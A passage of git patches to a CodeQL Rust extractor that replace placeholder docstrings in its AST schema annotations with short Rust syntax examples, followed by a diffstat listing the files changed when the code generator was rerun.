A TypeBound. For example: + A type bound in a trait or generic parameter. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^ ``` """ @@ -1756,9 +2000,12 @@ class _: @annotate(TypeBoundList) class _: """ - A TypeBoundList. For example: + A list of type bounds. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^^^^^^^^^ ``` """ @@ -1766,9 +2013,12 @@ class _: @annotate(TypeParam) class _: """ - A TypeParam. For example: + A type parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^ ``` """ @@ -1776,9 +2026,11 @@ class _: @annotate(Union) class _: """ - A Union. For example: + A union declaration. + + For example: ```rust - todo!() + union U { f1: u32, f2: f32 } ``` """ @@ -1786,9 +2038,9 @@ class _: @annotate(Use) class _: """ - A Use. For example: + A `use` statement. For example: ```rust - todo!() + use std::collections::HashMap; ``` """ @@ -1796,7 +2048,7 @@ class _: @annotate(UseTree) class _: """ - A UseTree. For example: + A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -1809,9 +2061,12 @@ class _: @annotate(UseTreeList) class _: """ - A UseTreeList. For example: + A list of use trees in a use declaration. + + For example: ```rust - todo!() + use std::{fs, io}; + // ^^^^^^^ ``` """ @@ -1819,9 +2074,12 @@ class _: @annotate(Variant, add_bases=(Addressable,)) class _: """ - A Variant. For example: + A variant in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ ``` """ @@ -1829,9 +2087,12 @@ class _: @annotate(VariantList) class _: """ - A VariantList. For example: + A list of variants in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B, C } + // ^^^^^^^^^^^ ``` """ @@ -1839,9 +2100,12 @@ class _: @annotate(Visibility) class _: """ - A Visibility. For example: + A visibility modifier. + + For example: ```rust - todo!() + pub struct S; + //^^^ ``` """ @@ -1849,9 +2113,12 @@ class _: @annotate(WhereClause) class _: """ - A WhereClause. For example: + A where clause in a generic declaration. + + For example: ```rust - todo!() + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ ``` """ @@ -1859,9 +2126,12 @@ class _: @annotate(WherePred) class _: """ - A WherePred. For example: + A predicate in a where clause. + + For example: ```rust - todo!() + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ ``` """ @@ -1869,9 +2139,13 @@ class _: @annotate(WhileExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A WhileExpr. For example: + A while loop expression. + + For example: ```rust - todo!() + while x < 10 { + x += 1; + } ``` """ label: drop From 0dd0f9a22a2468aff51bcc6d2e8abfd6890132c1 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 19:23:25 +0200 Subject: [PATCH 102/271] Rust: add missing AST nodes to annotations.py --- rust/schema/annotations.py | 274 +++++++++++++++++++++++++++++++------ 1 file changed, 230 insertions(+), 44 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 6e76e92d798..7c65ab5b9c0 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1344,30 +1344,6 @@ class _: macro_call_expansion: optional[AstNode] | child | rust.detach -@annotate(MacroDef) -class _: - """ - A macro definition. - - For example: - ```rust - todo!(); - - - ``` - """ - - -@annotate(MacroExpr, cfg=True) -class _: - """ - A MacroExpr. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroItems) @rust.doc_test_signature(None) class _: @@ -1389,16 +1365,6 @@ class _: """ -@annotate(MacroPat, cfg=True) -class _: - """ - A MacroPat. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroRules) class _: """ @@ -1551,16 +1517,6 @@ class _: type_repr: drop -@annotate(ParamList) -class _: - """ - A ParamList. For example: - ```rust - todo!() - ``` - """ - - @annotate(ParenExpr) class _: """ @@ -2226,3 +2182,233 @@ class FormatArgument(Locatable): """ parent: Format variable: optional[FormatTemplateVariableAccess] | child + + +@annotate(MacroDef) +class _: + """ + A macro definition using the `macro_rules!` or similar syntax. + + For example: + ```rust + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } + ``` + """ + + +@annotate(MacroExpr, cfg=True) +class _: + """ + A macro expression, representing the invocation of a macro that produces an expression. + + For example: + ```rust + let y = vec![1, 2, 3]; + ``` + """ + + +@annotate(MacroPat, cfg=True) +class _: + """ + A macro pattern, representing the invocation of a macro that produces a pattern. + + For example: + ```rust + match x { + my_macro!() => "matched", + _ => "not matched", + } + ``` + """ + + +@annotate(ParamList) +class _: + """ + A list of parameters in a function, method, or closure declaration. + + For example: + ```rust + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmDirSpec) +class _: + """ + An inline assembly directive specification. + + For example: + ```rust + asm!("nop"); + // ^^^^^ + ``` + """ + + +@annotate(AsmOperandExpr) +class _: + """ + An operand expression in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmOption) +class _: + """ + An option in an inline assembly block. + + For example: + ```rust + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegSpec) +class _: + """ + A register specification in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + // ^^^ ^^^ + ``` + """ + + +@annotate(AsmClobberAbi) +class _: + """ + A clobbered ABI in an inline assembly block. + + For example: + ```rust + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmConst) +class _: + """ + A constant operand in an inline assembly block. + + For example: + ```rust + asm!("mov eax, {const}", const 42); + // ^^^^^^^ + ``` + """ + + +@annotate(AsmLabel) +class _: + """ + A label in an inline assembly block. + + For example: + ```rust + asm!("jmp {label}", label = sym my_label); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmOperandNamed) +class _: + """ + A named operand in an inline assembly block. + + For example: + ```rust + asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + // ^^^^^ ^^^^ + ``` + """ + + +@annotate(AsmOptionsList) +class _: + """ + A list of options in an inline assembly block. + + For example: + ```rust + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegOperand) +class _: + """ + A register operand in an inline assembly block. + + For example: + ```rust + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmSym) +class _: + """ + A symbol operand in an inline assembly block. + + For example: + ```rust + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(UseBoundGenericArgs) +class _: + """ + A use<..> bound to control which generic parameters are captured by an impl Trait return type. + + For example: + ```rust + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ + ``` + """ + + +@annotate(ParenthesizedArgList) +class _: + """ + A parenthesized argument list as used in function traits. + + For example: + ```rust + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } + ``` + """ From f0db47b571d963676ff83259fec45fd25c69841c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 18:58:01 +0200 Subject: [PATCH 103/271] Rust: run codegen --- rust/ql/.generated.list | 580 +++++++------- rust/ql/.gitattributes | 40 +- .../internal/generated/CfgNodes.qll | 59 +- rust/ql/lib/codeql/rust/elements/Abi.qll | 7 +- rust/ql/lib/codeql/rust/elements/ArgList.qll | 7 +- .../codeql/rust/elements/ArrayTypeRepr.qll | 7 +- .../codeql/rust/elements/AsmClobberAbi.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmConst.qll | 9 + .../lib/codeql/rust/elements/AsmDirSpec.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmLabel.qll | 9 + .../codeql/rust/elements/AsmOperandExpr.qll | 9 + .../codeql/rust/elements/AsmOperandNamed.qll | 9 + .../ql/lib/codeql/rust/elements/AsmOption.qll | 9 + .../codeql/rust/elements/AsmOptionsList.qll | 9 + .../codeql/rust/elements/AsmRegOperand.qll | 9 + .../lib/codeql/rust/elements/AsmRegSpec.qll | 9 + rust/ql/lib/codeql/rust/elements/AsmSym.qll | 9 + .../ql/lib/codeql/rust/elements/AssocItem.qll | 7 +- .../codeql/rust/elements/AssocItemList.qll | 2 +- .../lib/codeql/rust/elements/AssocTypeArg.qll | 7 +- rust/ql/lib/codeql/rust/elements/Attr.qll | 8 +- .../codeql/rust/elements/ClosureBinder.qll | 7 +- rust/ql/lib/codeql/rust/elements/Const.qll | 6 +- rust/ql/lib/codeql/rust/elements/ConstArg.qll | 7 +- .../lib/codeql/rust/elements/ConstParam.qll | 7 +- .../codeql/rust/elements/DynTraitTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/Enum.qll | 6 +- .../lib/codeql/rust/elements/ExternBlock.qll | 8 +- .../lib/codeql/rust/elements/ExternCrate.qll | 6 +- .../lib/codeql/rust/elements/ExternItem.qll | 9 +- .../codeql/rust/elements/ExternItemList.qll | 9 +- .../ql/lib/codeql/rust/elements/FieldList.qll | 9 +- .../codeql/rust/elements/FnPtrTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/ForExpr.qll | 8 +- .../lib/codeql/rust/elements/ForTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/GenericArg.qll | 7 +- .../lib/codeql/rust/elements/GenericParam.qll | 7 +- rust/ql/lib/codeql/rust/elements/Impl.qll | 8 +- .../rust/elements/ImplTraitTypeRepr.qll | 7 +- .../codeql/rust/elements/InferTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/Item.qll | 8 +- rust/ql/lib/codeql/rust/elements/ItemList.qll | 9 +- rust/ql/lib/codeql/rust/elements/LetElse.qll | 9 +- rust/ql/lib/codeql/rust/elements/Lifetime.qll | 7 +- .../lib/codeql/rust/elements/LifetimeArg.qll | 7 +- .../codeql/rust/elements/LifetimeParam.qll | 7 +- .../ql/lib/codeql/rust/elements/MacroCall.qll | 7 +- rust/ql/lib/codeql/rust/elements/MacroDef.qll | 10 +- .../ql/lib/codeql/rust/elements/MacroExpr.qll | 6 +- rust/ql/lib/codeql/rust/elements/MacroPat.qll | 9 +- .../lib/codeql/rust/elements/MacroRules.qll | 8 +- .../codeql/rust/elements/MacroTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/MatchArmList.qll | 11 +- .../lib/codeql/rust/elements/MatchGuard.qll | 10 +- rust/ql/lib/codeql/rust/elements/Meta.qll | 7 +- rust/ql/lib/codeql/rust/elements/Name.qll | 7 +- rust/ql/lib/codeql/rust/elements/NameRef.qll | 7 +- .../codeql/rust/elements/NeverTypeRepr.qll | 7 +- .../ql/lib/codeql/rust/elements/ParamList.qll | 7 +- .../ql/lib/codeql/rust/elements/ParenExpr.qll | 7 +- rust/ql/lib/codeql/rust/elements/ParenPat.qll | 7 +- .../codeql/rust/elements/ParenTypeRepr.qll | 7 +- .../rust/elements/ParenthesizedArgList.qll | 14 + .../lib/codeql/rust/elements/PathSegment.qll | 6 + .../lib/codeql/rust/elements/PathTypeRepr.qll | 6 +- .../lib/codeql/rust/elements/PtrTypeRepr.qll | 8 +- .../lib/codeql/rust/elements/RefTypeRepr.qll | 8 +- rust/ql/lib/codeql/rust/elements/Rename.qll | 7 +- rust/ql/lib/codeql/rust/elements/RestPat.qll | 7 +- .../lib/codeql/rust/elements/RetTypeRepr.qll | 7 +- .../codeql/rust/elements/ReturnTypeSyntax.qll | 17 +- .../codeql/rust/elements/SliceTypeRepr.qll | 7 +- .../lib/codeql/rust/elements/SourceFile.qll | 7 +- rust/ql/lib/codeql/rust/elements/Static.qll | 6 +- rust/ql/lib/codeql/rust/elements/StmtList.qll | 10 +- rust/ql/lib/codeql/rust/elements/Struct.qll | 5 +- .../rust/elements/StructExprFieldList.qll | 7 +- .../lib/codeql/rust/elements/StructField.qll | 7 +- .../codeql/rust/elements/StructFieldList.qll | 7 +- .../rust/elements/StructPatFieldList.qll | 7 +- .../ql/lib/codeql/rust/elements/TokenTree.qll | 11 +- .../lib/codeql/rust/elements/TraitAlias.qll | 6 +- rust/ql/lib/codeql/rust/elements/TryExpr.qll | 7 +- .../lib/codeql/rust/elements/TupleField.qll | 7 +- .../codeql/rust/elements/TupleFieldList.qll | 7 +- .../codeql/rust/elements/TupleTypeRepr.qll | 7 +- rust/ql/lib/codeql/rust/elements/TypeArg.qll | 7 +- .../ql/lib/codeql/rust/elements/TypeBound.qll | 7 +- .../codeql/rust/elements/TypeBoundList.qll | 7 +- .../ql/lib/codeql/rust/elements/TypeParam.qll | 7 +- rust/ql/lib/codeql/rust/elements/Union.qll | 6 +- rust/ql/lib/codeql/rust/elements/Use.qll | 4 +- .../rust/elements/UseBoundGenericArgs.qll | 9 + rust/ql/lib/codeql/rust/elements/UseTree.qll | 2 +- .../lib/codeql/rust/elements/UseTreeList.qll | 7 +- rust/ql/lib/codeql/rust/elements/Variant.qll | 7 +- .../lib/codeql/rust/elements/VariantList.qll | 7 +- .../lib/codeql/rust/elements/Visibility.qll | 7 +- .../lib/codeql/rust/elements/WhereClause.qll | 7 +- .../ql/lib/codeql/rust/elements/WherePred.qll | 7 +- .../ql/lib/codeql/rust/elements/WhileExpr.qll | 8 +- .../codeql/rust/elements/internal/AbiImpl.qll | 7 +- .../rust/elements/internal/ArgListImpl.qll | 7 +- .../elements/internal/ArrayTypeReprImpl.qll | 7 +- .../elements/internal/AsmClobberAbiImpl.qll | 9 + .../rust/elements/internal/AsmConstImpl.qll | 9 + .../rust/elements/internal/AsmDirSpecImpl.qll | 9 + .../rust/elements/internal/AsmLabelImpl.qll | 9 + .../elements/internal/AsmOperandExprImpl.qll | 9 + .../elements/internal/AsmOperandNamedImpl.qll | 9 + .../rust/elements/internal/AsmOptionImpl.qll | 9 + .../elements/internal/AsmOptionsListImpl.qll | 9 + .../elements/internal/AsmRegOperandImpl.qll | 9 + .../rust/elements/internal/AsmRegSpecImpl.qll | 9 + .../rust/elements/internal/AsmSymImpl.qll | 9 + .../rust/elements/internal/AssocItemImpl.qll | 7 +- .../elements/internal/AssocItemListImpl.qll | 2 +- .../elements/internal/AssocTypeArgImpl.qll | 7 +- .../rust/elements/internal/AttrImpl.qll | 8 +- .../elements/internal/ClosureBinderImpl.qll | 7 +- .../rust/elements/internal/ConstArgImpl.qll | 7 +- .../rust/elements/internal/ConstImpl.qll | 6 +- .../rust/elements/internal/ConstParamImpl.qll | 7 +- .../rust/elements/internal/CrateImpl.qll | 7 + .../internal/DynTraitTypeReprImpl.qll | 7 +- .../rust/elements/internal/EnumImpl.qll | 6 +- .../elements/internal/ExternBlockImpl.qll | 8 +- .../elements/internal/ExternCrateImpl.qll | 6 +- .../rust/elements/internal/ExternItemImpl.qll | 9 +- .../elements/internal/ExternItemListImpl.qll | 9 +- .../rust/elements/internal/FieldListImpl.qll | 9 +- .../elements/internal/FnPtrTypeReprImpl.qll | 7 +- .../rust/elements/internal/ForExprImpl.qll | 8 +- .../elements/internal/ForTypeReprImpl.qll | 7 +- .../rust/elements/internal/GenericArgImpl.qll | 7 +- .../elements/internal/GenericParamImpl.qll | 7 +- .../rust/elements/internal/ImplImpl.qll | 8 +- .../internal/ImplTraitTypeReprImpl.qll | 7 +- .../elements/internal/InferTypeReprImpl.qll | 7 +- .../rust/elements/internal/ItemImpl.qll | 8 +- .../rust/elements/internal/ItemListImpl.qll | 9 +- .../rust/elements/internal/LetElseImpl.qll | 9 +- .../elements/internal/LifetimeArgImpl.qll | 7 +- .../rust/elements/internal/LifetimeImpl.qll | 7 +- .../elements/internal/LifetimeParamImpl.qll | 7 +- .../rust/elements/internal/MacroCallImpl.qll | 7 +- .../rust/elements/internal/MacroDefImpl.qll | 10 +- .../rust/elements/internal/MacroExprImpl.qll | 6 +- .../rust/elements/internal/MacroPatImpl.qll | 9 +- .../rust/elements/internal/MacroRulesImpl.qll | 8 +- .../elements/internal/MacroTypeReprImpl.qll | 7 +- .../elements/internal/MatchArmListImpl.qll | 11 +- .../rust/elements/internal/MatchGuardImpl.qll | 10 +- .../rust/elements/internal/MetaImpl.qll | 7 +- .../rust/elements/internal/NameImpl.qll | 7 +- .../rust/elements/internal/NameRefImpl.qll | 7 +- .../elements/internal/NeverTypeReprImpl.qll | 7 +- .../rust/elements/internal/ParamListImpl.qll | 7 +- .../rust/elements/internal/ParenExprImpl.qll | 7 +- .../rust/elements/internal/ParenPatImpl.qll | 7 +- .../elements/internal/ParenTypeReprImpl.qll | 7 +- .../internal/ParenthesizedArgListImpl.qll | 14 + .../elements/internal/PathSegmentImpl.qll | 6 + .../elements/internal/PathTypeReprImpl.qll | 6 +- .../elements/internal/PtrTypeReprImpl.qll | 8 +- .../elements/internal/RefTypeReprImpl.qll | 8 +- .../rust/elements/internal/RenameImpl.qll | 7 +- .../rust/elements/internal/RestPatImpl.qll | 7 +- .../elements/internal/RetTypeReprImpl.qll | 7 +- .../internal/ReturnTypeSyntaxImpl.qll | 17 +- .../elements/internal/SliceTypeReprImpl.qll | 7 +- .../rust/elements/internal/SourceFileImpl.qll | 7 +- .../rust/elements/internal/StaticImpl.qll | 6 +- .../rust/elements/internal/StmtListImpl.qll | 10 +- .../internal/StructExprFieldListImpl.qll | 7 +- .../elements/internal/StructFieldImpl.qll | 7 +- .../elements/internal/StructFieldListImpl.qll | 7 +- .../rust/elements/internal/StructImpl.qll | 5 +- .../internal/StructPatFieldListImpl.qll | 7 +- .../rust/elements/internal/TokenTreeImpl.qll | 11 +- .../rust/elements/internal/TraitAliasImpl.qll | 6 +- .../rust/elements/internal/TryExprImpl.qll | 7 +- .../rust/elements/internal/TupleFieldImpl.qll | 7 +- .../elements/internal/TupleFieldListImpl.qll | 7 +- .../elements/internal/TupleTypeReprImpl.qll | 7 +- .../rust/elements/internal/TypeArgImpl.qll | 7 +- .../rust/elements/internal/TypeBoundImpl.qll | 7 +- .../elements/internal/TypeBoundListImpl.qll | 7 +- .../rust/elements/internal/TypeParamImpl.qll | 7 +- .../rust/elements/internal/UnionImpl.qll | 6 +- .../internal/UseBoundGenericArgsImpl.qll | 9 + .../codeql/rust/elements/internal/UseImpl.qll | 4 +- .../rust/elements/internal/UseTreeImpl.qll | 2 +- .../elements/internal/UseTreeListImpl.qll | 7 +- .../rust/elements/internal/VariantImpl.qll | 7 +- .../elements/internal/VariantListImpl.qll | 7 +- .../rust/elements/internal/VisibilityImpl.qll | 7 +- .../elements/internal/WhereClauseImpl.qll | 7 +- .../rust/elements/internal/WherePredImpl.qll | 7 +- .../rust/elements/internal/WhileExprImpl.qll | 8 +- .../rust/elements/internal/generated/Abi.qll | 7 +- .../elements/internal/generated/ArgList.qll | 7 +- .../internal/generated/ArrayTypeRepr.qll | 7 +- .../internal/generated/AsmClobberAbi.qll | 7 + .../elements/internal/generated/AsmConst.qll | 7 + .../internal/generated/AsmDirSpec.qll | 7 + .../elements/internal/generated/AsmLabel.qll | 7 + .../internal/generated/AsmOperandExpr.qll | 7 + .../internal/generated/AsmOperandNamed.qll | 7 + .../elements/internal/generated/AsmOption.qll | 7 + .../internal/generated/AsmOptionsList.qll | 7 + .../internal/generated/AsmRegOperand.qll | 7 + .../internal/generated/AsmRegSpec.qll | 7 + .../elements/internal/generated/AsmSym.qll | 7 + .../elements/internal/generated/AssocItem.qll | 7 +- .../internal/generated/AssocItemList.qll | 2 +- .../internal/generated/AssocTypeArg.qll | 7 +- .../rust/elements/internal/generated/Attr.qll | 8 +- .../internal/generated/ClosureBinder.qll | 7 +- .../elements/internal/generated/Const.qll | 6 +- .../elements/internal/generated/ConstArg.qll | 7 +- .../internal/generated/ConstParam.qll | 7 +- .../internal/generated/DynTraitTypeRepr.qll | 7 +- .../rust/elements/internal/generated/Enum.qll | 6 +- .../internal/generated/ExternBlock.qll | 8 +- .../internal/generated/ExternCrate.qll | 6 +- .../internal/generated/ExternItem.qll | 9 +- .../internal/generated/ExternItemList.qll | 9 +- .../elements/internal/generated/FieldList.qll | 9 +- .../internal/generated/FnPtrTypeRepr.qll | 7 +- .../elements/internal/generated/ForExpr.qll | 8 +- .../internal/generated/ForTypeRepr.qll | 7 +- .../internal/generated/GenericArg.qll | 7 +- .../internal/generated/GenericParam.qll | 7 +- .../rust/elements/internal/generated/Impl.qll | 8 +- .../internal/generated/ImplTraitTypeRepr.qll | 7 +- .../internal/generated/InferTypeRepr.qll | 7 +- .../rust/elements/internal/generated/Item.qll | 8 +- .../elements/internal/generated/ItemList.qll | 9 +- .../elements/internal/generated/LetElse.qll | 9 +- .../elements/internal/generated/Lifetime.qll | 7 +- .../internal/generated/LifetimeArg.qll | 7 +- .../internal/generated/LifetimeParam.qll | 7 +- .../elements/internal/generated/MacroCall.qll | 7 +- .../elements/internal/generated/MacroDef.qll | 10 +- .../elements/internal/generated/MacroExpr.qll | 6 +- .../elements/internal/generated/MacroPat.qll | 9 +- .../internal/generated/MacroRules.qll | 8 +- .../internal/generated/MacroTypeRepr.qll | 7 +- .../internal/generated/MatchArmList.qll | 11 +- .../internal/generated/MatchGuard.qll | 10 +- .../rust/elements/internal/generated/Meta.qll | 7 +- .../rust/elements/internal/generated/Name.qll | 7 +- .../elements/internal/generated/NameRef.qll | 7 +- .../internal/generated/NeverTypeRepr.qll | 7 +- .../elements/internal/generated/ParamList.qll | 7 +- .../elements/internal/generated/ParenExpr.qll | 7 +- .../elements/internal/generated/ParenPat.qll | 7 +- .../internal/generated/ParenTypeRepr.qll | 7 +- .../generated/ParenthesizedArgList.qll | 12 + .../internal/generated/PathSegment.qll | 6 + .../internal/generated/PathTypeRepr.qll | 6 +- .../internal/generated/PtrTypeRepr.qll | 8 +- .../rust/elements/internal/generated/Raw.qll | 715 ++++++++++++++---- .../internal/generated/RefTypeRepr.qll | 8 +- .../elements/internal/generated/Rename.qll | 7 +- .../elements/internal/generated/RestPat.qll | 7 +- .../internal/generated/RetTypeRepr.qll | 7 +- .../internal/generated/ReturnTypeSyntax.qll | 17 +- .../internal/generated/SliceTypeRepr.qll | 7 +- .../internal/generated/SourceFile.qll | 7 +- .../elements/internal/generated/Static.qll | 6 +- .../elements/internal/generated/StmtList.qll | 10 +- .../elements/internal/generated/Struct.qll | 5 +- .../generated/StructExprFieldList.qll | 7 +- .../internal/generated/StructField.qll | 7 +- .../internal/generated/StructFieldList.qll | 7 +- .../internal/generated/StructPatFieldList.qll | 7 +- .../elements/internal/generated/TokenTree.qll | 11 +- .../internal/generated/TraitAlias.qll | 6 +- .../elements/internal/generated/TryExpr.qll | 7 +- .../internal/generated/TupleField.qll | 7 +- .../internal/generated/TupleFieldList.qll | 7 +- .../internal/generated/TupleTypeRepr.qll | 7 +- .../elements/internal/generated/TypeArg.qll | 7 +- .../elements/internal/generated/TypeBound.qll | 7 +- .../internal/generated/TypeBoundList.qll | 7 +- .../elements/internal/generated/TypeParam.qll | 7 +- .../elements/internal/generated/Union.qll | 6 +- .../rust/elements/internal/generated/Use.qll | 4 +- .../generated/UseBoundGenericArgs.qll | 7 + .../elements/internal/generated/UseTree.qll | 2 +- .../internal/generated/UseTreeList.qll | 7 +- .../elements/internal/generated/Variant.qll | 7 +- .../internal/generated/VariantList.qll | 7 +- .../internal/generated/Visibility.qll | 7 +- .../internal/generated/WhereClause.qll | 7 +- .../elements/internal/generated/WherePred.qll | 7 +- .../elements/internal/generated/WhileExpr.qll | 8 +- .../generated/.generated_tests.list | 167 ++-- .../extractor-tests/generated/.gitattributes | 13 + .../extractor-tests/generated/Abi/gen_abi.rs | 7 +- .../generated/ArgList/gen_arg_list.rs | 7 +- .../ArrayTypeRepr/gen_array_type_repr.rs | 7 +- .../generated/AsmClobberAbi/AsmClobberAbi.ql | 7 + .../AsmClobberAbi/MISSING_SOURCE.txt | 4 - .../AsmClobberAbi/gen_asm_clobber_abi.rs | 9 + .../generated/AsmConst/AsmConst.ql | 11 + .../generated/AsmConst/AsmConst_getExpr.ql | 7 + .../generated/AsmConst/MISSING_SOURCE.txt | 4 - .../generated/AsmConst/gen_asm_const.rs | 9 + .../generated/AsmDirSpec/AsmDirSpec.ql | 7 + .../generated/AsmDirSpec/MISSING_SOURCE.txt | 4 - .../generated/AsmDirSpec/gen_asm_dir_spec.rs | 9 + .../generated/AsmLabel/AsmLabel.ql | 10 + .../AsmLabel/AsmLabel_getBlockExpr.ql | 7 + .../generated/AsmLabel/MISSING_SOURCE.txt | 4 - .../generated/AsmLabel/gen_asm_label.rs | 9 + .../AsmOperandExpr/AsmOperandExpr.ql | 11 + .../AsmOperandExpr_getInExpr.ql | 7 + .../AsmOperandExpr_getOutExpr.ql | 7 + .../AsmOperandExpr/MISSING_SOURCE.txt | 4 - .../AsmOperandExpr/gen_asm_operand_expr.rs | 9 + .../AsmOperandNamed/AsmOperandNamed.ql | 11 + .../AsmOperandNamed_getAsmOperand.ql | 7 + .../AsmOperandNamed_getName.ql | 7 + .../AsmOperandNamed/MISSING_SOURCE.txt | 4 - .../AsmOperandNamed/gen_asm_operand_named.rs | 9 + .../generated/AsmOption/AsmOption.ql | 10 + .../generated/AsmOption/MISSING_SOURCE.txt | 4 - .../generated/AsmOption/gen_asm_option.rs | 9 + .../AsmOptionsList/AsmOptionsList.ql | 10 + .../AsmOptionsList_getAsmOption.ql | 7 + .../AsmOptionsList/MISSING_SOURCE.txt | 4 - .../AsmOptionsList/gen_asm_options_list.rs | 9 + .../generated/AsmRegOperand/AsmRegOperand.ql | 13 + .../AsmRegOperand_getAsmDirSpec.ql | 7 + .../AsmRegOperand_getAsmOperandExpr.ql | 7 + .../AsmRegOperand_getAsmRegSpec.ql | 7 + .../AsmRegOperand/MISSING_SOURCE.txt | 4 - .../AsmRegOperand/gen_asm_reg_operand.rs | 9 + .../generated/AsmRegSpec/AsmRegSpec.ql | 10 + .../AsmRegSpec/AsmRegSpec_getIdentifier.ql | 7 + .../generated/AsmRegSpec/MISSING_SOURCE.txt | 4 - .../generated/AsmRegSpec/gen_asm_reg_spec.rs | 9 + .../generated/AsmSym/AsmSym.ql | 10 + .../generated/AsmSym/AsmSym_getPath.ql | 7 + .../generated/AsmSym/MISSING_SOURCE.txt | 4 - .../generated/AsmSym/gen_asm_sym.rs | 9 + .../AssocTypeArg/gen_assoc_type_arg.rs | 7 +- .../generated/Attr/gen_attr.rs | 8 +- .../ClosureBinder/gen_closure_binder.rs | 7 +- .../generated/Const/gen_const.rs | 6 +- .../generated/ConstArg/gen_const_arg.rs | 7 +- .../generated/ConstParam/gen_const_param.rs | 7 +- .../gen_dyn_trait_type_repr.rs | 7 +- .../generated/Enum/gen_enum.rs | 6 +- .../generated/ExternBlock/gen_extern_block.rs | 8 +- .../generated/ExternCrate/gen_extern_crate.rs | 6 +- .../ExternItemList/gen_extern_item_list.rs | 9 +- .../FnPtrTypeRepr/gen_fn_ptr_type_repr.rs | 7 +- .../generated/ForExpr/gen_for_expr.rs | 8 +- .../ForTypeRepr/gen_for_type_repr.rs | 7 +- .../generated/Impl/gen_impl.rs | 8 +- .../gen_impl_trait_type_repr.rs | 7 +- .../InferTypeRepr/gen_infer_type_repr.rs | 7 +- .../generated/ItemList/gen_item_list.rs | 9 +- .../generated/LetElse/gen_let_else.rs | 9 +- .../generated/Lifetime/gen_lifetime.rs | 7 +- .../generated/LifetimeArg/gen_lifetime_arg.rs | 7 +- .../LifetimeParam/gen_lifetime_param.rs | 7 +- .../generated/MacroCall/gen_macro_call.rs | 7 +- .../generated/MacroDef/gen_macro_def.rs | 10 +- .../generated/MacroExpr/gen_macro_expr.rs | 6 +- .../generated/MacroPat/gen_macro_pat.rs | 9 +- .../generated/MacroRules/gen_macro_rules.rs | 8 +- .../MacroTypeRepr/gen_macro_type_repr.rs | 7 +- .../MatchArmList/gen_match_arm_list.rs | 11 +- .../generated/MatchGuard/gen_match_guard.rs | 10 +- .../generated/Meta/gen_meta.rs | 7 +- .../generated/Name/gen_name.rs | 7 +- .../generated/NameRef/gen_name_ref.rs | 7 +- .../NeverTypeRepr/gen_never_type_repr.rs | 7 +- .../generated/ParamList/gen_param_list.rs | 7 +- .../generated/ParenExpr/gen_paren_expr.rs | 7 +- .../generated/ParenPat/gen_paren_pat.rs | 7 +- .../ParenTypeRepr/gen_paren_type_repr.rs | 7 +- .../ParenthesizedArgList/MISSING_SOURCE.txt | 4 - .../ParenthesizedArgList.ql | 10 + .../ParenthesizedArgList_getTypeArg.ql | 7 + .../gen_parenthesized_arg_list.rs | 14 + .../generated/Path/gen_path_type_repr.rs | 6 +- .../PtrTypeRepr/gen_ptr_type_repr.rs | 8 +- .../RefTypeRepr/gen_ref_type_repr.rs | 8 +- .../generated/Rename/gen_rename.rs | 7 +- .../generated/RestPat/gen_rest_pat.rs | 7 +- .../RetTypeRepr/gen_ret_type_repr.rs | 7 +- .../gen_return_type_syntax.rs | 17 +- .../SliceTypeRepr/gen_slice_type_repr.rs | 7 +- .../generated/SourceFile/gen_source_file.rs | 7 +- .../generated/Static/gen_static.rs | 6 +- .../generated/StmtList/gen_stmt_list.rs | 10 +- .../generated/Struct/gen_struct.rs | 5 +- .../gen_struct_expr_field_list.rs | 7 +- .../generated/StructField/gen_struct_field.rs | 7 +- .../StructFieldList/gen_struct_field_list.rs | 7 +- .../gen_struct_pat_field_list.rs | 7 +- .../generated/TokenTree/gen_token_tree.rs | 9 +- .../generated/TraitAlias/gen_trait_alias.rs | 6 +- .../generated/TryExpr/gen_try_expr.rs | 7 +- .../generated/TupleField/gen_tuple_field.rs | 7 +- 